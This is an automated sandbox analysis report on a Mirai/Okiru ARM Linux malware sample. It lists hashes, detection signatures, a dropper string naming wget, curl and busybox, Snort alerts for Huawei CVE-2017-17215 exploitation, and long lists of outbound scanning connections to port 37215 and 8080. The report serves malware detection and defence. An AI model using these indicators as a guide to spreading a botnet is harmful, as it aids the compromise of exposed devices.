Linux Analysis Report
mCS7AR9pKm.elf

Overview

General Information

Sample name: mCS7AR9pKm.elf
renamed because original name is a hash value
Original sample name: 9cf6473a2a6f3902885113c7a00cc772.elf
Analysis ID: 1428715
MD5: 9cf6473a2a6f3902885113c7a00cc772
SHA1: e186ccd94cf170e5fa34dd1a7d5895a06878714e
SHA256: 8f0268ef84fa5d00853be66f300bf6e46ea5e30365e6a5cfa2eb377fd0544102
Tags: 32armelfgafgyt
Infos:

Detection

Mirai, Okiru
Score: 100
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
Yara detected Mirai
Yara detected Okiru
Connects to many ports of the same IP (likely port scanning)
Uses known network protocols on non-standard ports
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
HTTP GET or POST without a user agent
Sample and/or dropped files contains symbols with suspicious names
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Uses the "uname" system call to query kernel version information (possible evasion)
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: mCS7AR9pKm.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: mCS7AR9pKm.elf Virustotal: Detection: 50% Perma Link
Source: mCS7AR9pKm.elf ReversingLabs: Detection: 60%
Found strings indicative of a multi-platform dropper
Source: mCS7AR9pKm.elf String: /proc/proc/%d/cmdlinewgetcurlbusybox/bin/busyboxechocatnanotfptkillallpkilltopxargspgrep

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:33044 -> 103.59.149.30:37215
Source: Traffic Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:33044 -> 103.59.149.30:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:51582 -> 213.243.19.64:37215
Source: Traffic Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:51582 -> 213.243.19.64:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:39174 -> 41.239.35.111:37215
Source: Traffic Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:39174 -> 41.239.35.111:37215
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 197.4.44.16 ports 1,2,3,5,7,37215
Source: global traffic TCP traffic: 41.128.67.87 ports 1,2,3,5,7,37215
Source: global traffic TCP traffic: 197.7.123.188 ports 1,2,3,5,7,37215
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 33044 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 33044 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 33044 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 33044 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 33044 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 51582 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 33044 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 39174 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 39174
Source: unknown Network traffic detected: HTTP traffic on port 35582 -> 37215
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.231.32.117:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.14.88.117:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.74.183.76:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 128.246.123.164:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.215.17.152:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.152.84.139:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.31.214.62:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.107.111.104:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 54.42.173.230:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.85.164.12:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.138.192.43:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.131.140.100:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.185.191.101:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.182.182.232:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.27.59.18:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.208.122.98:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.238.114.74:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.154.1.71:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.149.151.167:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.207.180.27:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 65.226.81.233:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.241.198.146:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 14.14.220.177:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.247.89.133:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.93.111.9:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.181.63.81:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.211.81.166:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.168.78.87:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.65.49.208:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 43.82.170.160:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 174.172.180.87:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 158.253.37.224:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.33.38.75:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 150.238.19.142:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 187.48.57.147:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 85.190.35.181:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 121.91.176.35:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 74.178.87.169:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 207.37.57.120:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 109.118.51.141:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.167.73.246:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.248.252.153:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.39.196.132:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.90.125.186:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.40.103.81:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.39.98.202:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.25.32.65:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.98.43.203:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 175.235.63.145:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.116.233.166:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.217.24.84:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.41.19.154:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.214.151.210:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.175.206.240:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.122.34.169:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.122.219.121:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.58.13.121:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 212.189.95.206:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.23.203.159:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.102.211.167:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.254.6.12:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.18.54.129:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.152.217.173:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.2.235.166:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.141.199.199:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.30.59.24:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.234.48.23:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.223.123.128:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.189.218.138:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.193.63.224:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.81.69.194:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.10.18.170:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 128.48.125.249:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.117.247.14:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 184.224.84.11:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.85.155.82:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 79.177.90.107:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 189.236.166.17:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 85.124.117.233:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.193.116.139:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 180.14.40.109:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.235.253.203:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 110.215.182.174:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.91.56.46:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.150.193.171:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.239.34.135:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.227.229.158:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.104.170.72:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.201.44.213:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.2.203.63:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 222.191.223.24:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.118.185.198:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.108.8.210:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.208.52.128:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.179.82.78:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 141.140.47.1:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.141.11.145:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.75.250.106:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.211.34.138:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.240.36.166:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.210.60.245:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.93.185.104:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.87.57.31:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.172.169.115:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.228.17.5:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 76.155.101.192:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.93.123.37:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.96.199.227:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.70.174.242:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.199.207.220:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.104.63.194:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.70.192.55:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 105.93.112.9:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.198.211.2:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.96.111.34:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.122.227.143:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.241.96.22:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.137.208.7:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 144.69.189.97:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.116.239.123:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 149.71.150.18:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.47.84.33:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.127.12.252:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 148.223.2.98:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.170.100.118:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.5.21.118:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.143.127.76:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 199.44.168.213:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.11.60.65:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.47.213.154:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 194.140.219.156:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.167.127.172:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 191.138.116.77:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.17.138.181:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.2.103.104:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 109.232.135.110:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.193.67.5:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 160.236.160.123:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.235.212.234:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.35.92.102:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.103.190.50:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.7.102.69:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 169.132.160.69:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.164.105.131:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 170.245.27.214:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 203.33.184.200:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.13.231.46:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.135.242.202:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.232.209.146:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.39.82.172:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 72.224.245.109:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.38.43.132:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.6.178.184:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.204.10.236:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.110.218.108:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.10.151.86:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.78.181.68:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 93.166.199.54:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.157.181.224:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 147.88.12.113:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.217.106.213:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 177.1.46.47:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.104.238.86:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 110.94.22.50:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 86.179.208.44:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.141.114.143:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.99.16.231:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.237.21.163:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 60.33.165.200:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 36.159.22.19:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 27.169.185.59:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.61.29.13:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 209.232.170.98:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.224.115.73:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.129.244.171:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 50.224.176.75:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.57.6.25:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.82.229.210:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.76.164.210:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.203.218.87:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 154.78.121.85:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.92.231.133:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.245.186.111:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.33.64.235:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.188.38.247:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.148.222.225:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.184.114.64:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.14.121.254:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 144.146.26.41:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.53.203.169:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.128.67.87:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.205.130.244:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.7.126.254:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.227.181.5:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.74.66.91:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.169.193.186:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.201.203.122:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.238.214.236:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.1.12.68:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 221.11.33.183:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.15.137.195:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.1.251.130:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 83.170.183.64:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 81.146.211.13:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.20.219.34:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.117.111.150:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 201.77.4.10:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 92.149.239.132:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.161.178.251:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.139.109.185:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.152.150.124:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 60.60.182.248:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.61.212.239:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 9.204.228.63:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 58.236.207.112:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 65.56.187.36:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.253.67.199:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.98.132.117:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.119.147.224:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.99.223.254:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 144.113.201.159:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.101.71.11:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.164.126.154:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 98.193.32.255:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.197.210.19:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.209.37.229:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.98.45.33:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.77.240.7:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.45.157.7:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 122.96.43.83:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.254.190.220:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.147.145.154:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.207.185.80:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.174.82.157:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.97.30.123:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 179.105.101.104:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.140.173.132:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 142.77.113.122:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 201.211.49.100:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 189.183.70.29:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.87.131.84:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.210.62.28:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 221.134.93.208:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.214.224.111:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.36.175.199:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.43.226.63:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.132.117.129:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 83.173.195.249:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 197.217.159.9:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.236.77.25:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.150.124.233:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.2.242.189:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.96.63.8:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.96.121.238:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 157.189.227.174:37215
Source: global traffic TCP traffic: 192.168.2.15:43864 -> 41.84.151.212:37215
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 120.49.19.162:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 162.129.103.162:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 63.253.55.160:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 101.49.119.79:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 151.48.166.185:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 5.131.140.128:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 156.140.85.129:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 193.120.247.65:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 40.162.4.243:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 203.165.142.103:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 45.4.222.168:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 65.42.219.97:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 115.114.239.193:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 216.169.135.37:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 176.214.71.65:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 12.239.33.16:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 129.17.82.25:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 166.29.66.158:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 54.232.149.140:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 35.125.26.48:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 144.102.58.178:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 20.248.34.45:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 92.30.181.156:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 220.15.7.99:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 72.202.69.26:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 175.45.7.180:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 204.186.251.20:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 114.237.200.91:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 76.137.58.90:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 173.233.44.160:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 141.7.93.141:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 67.167.161.7:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 88.243.242.38:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 52.133.158.124:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 200.47.202.57:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 32.135.43.1:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 93.189.127.246:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 86.133.45.130:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 187.84.26.120:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 68.29.8.3:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 114.181.57.254:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 80.106.211.0:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 202.97.0.29:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 43.36.22.35:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 12.214.232.38:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 4.246.35.97:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 81.150.95.110:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 198.214.184.108:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 145.135.163.69:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 151.231.51.203:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 126.0.7.197:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 111.119.156.130:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 190.130.145.115:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 2.253.34.30:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 27.118.159.58:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 37.5.101.78:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 40.209.17.127:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 223.90.1.121:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 144.157.79.163:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 38.205.234.91:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 174.217.205.211:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 8.122.172.37:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 90.0.136.11:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 201.140.214.78:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 185.82.177.167:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 105.225.233.224:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 150.164.200.177:8080
